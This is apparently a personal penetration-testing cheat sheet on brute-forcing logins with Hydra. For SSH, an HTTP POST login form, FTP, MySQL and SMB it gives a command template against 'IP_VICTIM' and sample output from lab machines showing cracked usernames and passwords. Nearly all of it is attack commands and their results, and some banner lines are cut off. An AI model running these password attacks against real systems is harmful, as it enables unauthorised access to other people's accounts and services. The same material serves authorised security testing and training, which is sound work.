

# Hydra

## SSH

Command to attack:

```
hydra -l user -P passwords.txt IP_VICTIM ssh
```

```
(root@salsa)-[/home/salsa/exploits/bruteforce]
# hydra -l salsa -P passwords.txt 192.168.0.115 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-14 16:21:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to use the --max-parallel= option.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.0.115:22/
[22][ssh] host: 192.168.0.115 login: salsa password: s12
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-14 16:21:24
```

## HTTP-POST LOGIN

Command to attack:

```
sudo hydra -l user -p passwords.txt IP_VICTIM http-post-form
'/path/login:username_field&password_field=^PASS^:Error Message'
```

```
(root@salsa)-[/home/salsa/exploits/bruteforce]
# sudo hydra -l admin -P passwords.txt 192.168.0.121 http-post-form '/dvwa/login.php:username=admin&password=^PASS^:Invalid Password!'
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-14 17:57:01
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking http-post-form://192.168.0.121:80/dvwa/login.php:username=admin&password=^PASS^:Invalid Password!
[80][http-post-form] host: 192.168.0.121 login: admin password: s12
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-14 17:57:02
```

Username Field: Firefox F12 -> Network -> Send Login.

Password Field: Firefox F12 -> Network -> Send Login.

## FTP

Command to attack:

```
hydra -l user -P passwords.txt IP_VICTIM ftp
```

```
(root@salsa)-[/home/salsa/exploits/bruteforce]
# hydra -l salsa -P passwords.txt 192.168.0.115 ftp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-14 16:04:28
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.0.115:21/
[21][ftp] host: 192.168.0.115 login: salsa password: s12
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-14 16:04:29
```

## MYSQL

hydra -l user -P passwords.txt IP\_VICTIM mysql

```
(root@salsa)-[/home/salsa/exploits/bruteforce]
# hydra -l root -P passwords.txt 192.168.0.120 mysql
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or sec
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-14 17:36:20
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 5 login tries (l:1/p:5), ~2 tries per task
[DATA] attacking mysql://192.168.0.120:3306/
[3306][mysql] host: 192.168.0.120 login: root password: s12
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-14 17:36:21
```

## SMB

hydra -l user -P passwords.txt IP\_VICTIM smb

```
(root@salsa)-[/home/salsa/exploits/bruteforce]
# hydra -l svc-alfresco -P passwords.txt 10.10.10.161 smb
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-14 17:01:28
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 2 login tries (l:1/p:2), ~2 tries per t
[DATA] attacking smb://10.10.10.161:445/
[445][smb] host: 10.10.10.161 login: svc-alfresco password: s3rvice
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-14 17:01:29
```